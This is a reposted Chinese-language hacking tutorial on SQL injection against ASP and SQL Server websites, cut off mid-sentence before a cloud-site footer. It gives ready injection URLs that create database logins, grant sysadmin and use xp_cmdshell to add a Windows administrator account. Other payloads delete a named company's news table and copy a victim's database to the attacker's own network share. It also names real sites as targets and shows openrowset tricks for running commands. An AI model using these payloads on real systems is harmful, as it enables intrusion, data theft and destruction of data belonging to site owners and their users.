SQL資料庫的一些攻擊(轉)

來源:互聯網
上載者:User
攻擊|資料|資料庫 SQL資料庫的一些攻擊

具體內容:


  對於國內外的很多新聞,BBS和電子商務網站都採用ASP+SQL設計,而寫 ASP的程式員很多(有很多剛剛畢業的),所以,ASP+SQL的攻擊成功率

也比較高。這類攻擊方法與NT的版本和SQL的版本沒有多大的關係,也沒有相應的補丁,因為漏洞是程式員自己造成的,而且大多數講解ASP編

程的書上,原始碼例子就有這個漏洞存在,其實只是一些合法的ASP對SQL的請求,就留下後患無窮!
這種攻擊方法最早源於or1=1的漏洞(我們暫且稱其為漏洞),這個漏洞的原理我想大家因該都知道了,那麼隨之而來的便是;exec

sp_addlogin hax(在資料庫內添加一個hax使用者),但是這個方法的限制很大,首先ASP使用的SQL Server帳號是個管理員,其次請求的提交變

量在整個SQL語句的最後,因為有一些程式員採用SELECT * FROM news WHERE id=... AND topic=... AND .....
這種方法請求資料庫,那麼如果還用以上的例子就會
news.asp?id=2;exec sp_addlogin hax
變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整個SQL語句在執行sp_addlogin的預存程序後有AND與判斷存在,語法錯誤,你的sp_addlogin自然也不能正常運行了,因此試試看下面這個方


news.asp?id=2;exec sp_addlogin hax;--
後面的--符號把sp_addlogin後的判斷語句變成了注釋,這樣就不會有語法錯誤了,sp_addlogin正常執行!
那麼我們連一起來用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add;--
news.asp?id=2;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
這樣,你在他的資料庫和系統內都留下了hax管理員帳號了
當然,前提條件是ASP用管理員帳號,所以虛擬空間大家就別試了,不會存在這個漏洞的。
以後我們會討論,如果對方的ASP不是用SQL管理員帳號,我們如何入侵,當然也會涉及到1433連接埠的入侵
當然大家可以試試看在id=2後面加上一個符號,主要看對方的ASP怎麼寫了


再說說當ASP程式使用的SQL帳號不是管理員的時候我們該如何做。
你如天融信的首頁,有新聞內容,如下:
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵,報語法錯誤,select 123錯誤,顯而易見,天融新的ASP在newid變數後面用號結束
那麼試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;delete news;--
哈哈,我想只要表名猜對了,新聞庫就被刪了

通常ASP用的SQL帳號就算不是管理員也會是某個資料庫的owner,至少對於這個庫有很高的系統管理權限
但是我們不知道庫名該怎嗎?看看db_name()函數吧
開啟你的query analyzer,看看print db_name() ,呵呵,當前的資料庫名就出來了
以次類推,如下: declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共用目錄bak.dat ,name=test;--
呵呵,他的當前資料庫就備份到你的硬碟上了,接下來要做的大家心裡都明白了吧
同理這個方法可以找到對方的SQL的IP
先裝一個防火牆,開啟ICMP和139TCP和445TCP的警告提示
然後試試看news.asp?id=2;exec master.dbo.xp_cmdshell ping 你的IP
如果防火牆提示有人ping你,那麼因該可以肯定對方的ASP用的是SQL的管理員權限,同時也確定了對方的SQL Server的準確位置,因為很多大

一點的網站考慮效能,會吧web服務和資料庫分開,當對方大上了補丁看不到原始碼時,我想只有這個方法能很快的定位對方的SQL Server的位

置了
那麼,如果對方ASP沒有SQL管理員權限,我們就不能調用xp_cmdshell了,該怎麼辦?
別著急,試試看這個news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共用目錄bak.dat

,name=test;--
呵呵,你的防火牆該發出警告了,有人串連你的445或139(win9連接埠了,這樣,對方的SQL的ip一樣也可以暴露
那麼如果對方連某個資料庫的owner也不是的話,我們該怎麼辦?下次我會告訴大家一個更好的辦法。
其實backuo database到你的硬碟還是有點誇張了,如果對方資料庫很龐大,你又是撥接,呵呵,勸你別試了,很難成功傳輸的
下次我們還會談到如何騙過IDS執行ASP+SQL入侵
目前有些好的IDS已經開始監視xp_cmdshell這些關鍵字了
好吧,同志們下次見


所有以上url希望大家通過vbscript提交,因為瀏覽器的地址欄會屏蔽一些特殊字元,這樣你的命令就不能完整傳輸了
window.location.herf=URL

補充:這個問題以前載網上也提出來過,但是只是一些簡單的xp_cmdshell調用限制很大,其實這裡面還有很多值得深入的地方比如

www.guosen.com.cn。國信證卷就有這個問題,而且他們採用ms的三層結構作的用以前說的xp_cmdshell做法就不行了,字串會被過濾,但是

我嘗試了,用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的帳號!由於對方防火牆很嚴checkpoint資料報進出

都只開放80連接埠因此,要想獲得他的資料庫結構比較困難了,但是還是有辦法可以做到的:P
順便提醒大家注意一下關於sqloledb,db_name,openrowset,opendatasource這些系統函數當asp的sqlserver帳號只是一個普通使用者時,他們會

很有用的!


sql server新漏洞和一些突破口


下面我要談到一些sqlserver新的bug,雖然本人經過長時間的努力,當然也有點幸運的成分在內,才得以發現,不敢一個人獨享,拿出來請大家

鑒別,當然很有可能有些高手早已知道了,畢竟我接觸sqlserver的時間不到1年:P

1。關於openrowset和opendatasource
可能這個技巧早有人已經會了,就是利用openrowset發送本地命令
通常我們的用法是(包括MSDN的列子)如下
select * from openrowset(sqloledb,myserver;sa;,select * from table)
可見(即使從字面意義上看)openrowset只是作為一個快捷的遠端資料庫訪問,它必須跟在select後面,也就是說需要返回一個recordset
那麼我們能不能利用它調用xp_cmdshell呢?答案是肯定的!
select * from openrowset(sqloledb,server;sa;,set fmtonly off exec master.dbo.xp_cmdshell dir c:\)
必須加上set fmtonly off用來屏蔽預設的只返回列資訊的設定,這樣xp_cmdshell返回的output集合就會提交給前面的select顯示,如果採用

預設設定,會返回空集合導致select出錯,命令也就無法執行了。
那麼如果我們要調用sp_addlogin呢,他不會像xp_cmdshell返回任何集合的,我們就不能再依靠fmtonly設定了,可以如下操作
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin Hectic)
這樣,命令至少會返回select OK!的集合,你的機器商會顯示OK!,同時對方的資料庫內也會增加一個Hectic的帳號,也就是說,我們利用

select OK!的返回集合欺騙了本地的select請求,是命令能夠正常執行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至於

這個方法真正的用處,大家慢慢想吧:P

2。關於msdasql兩次請求的問題
不知道大家有沒有試過用msdasql串連遠端資料庫,當然這個api必須是sqlserver的管理員才可以調用,那麼如下
select * from openrowset(msdasql,



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。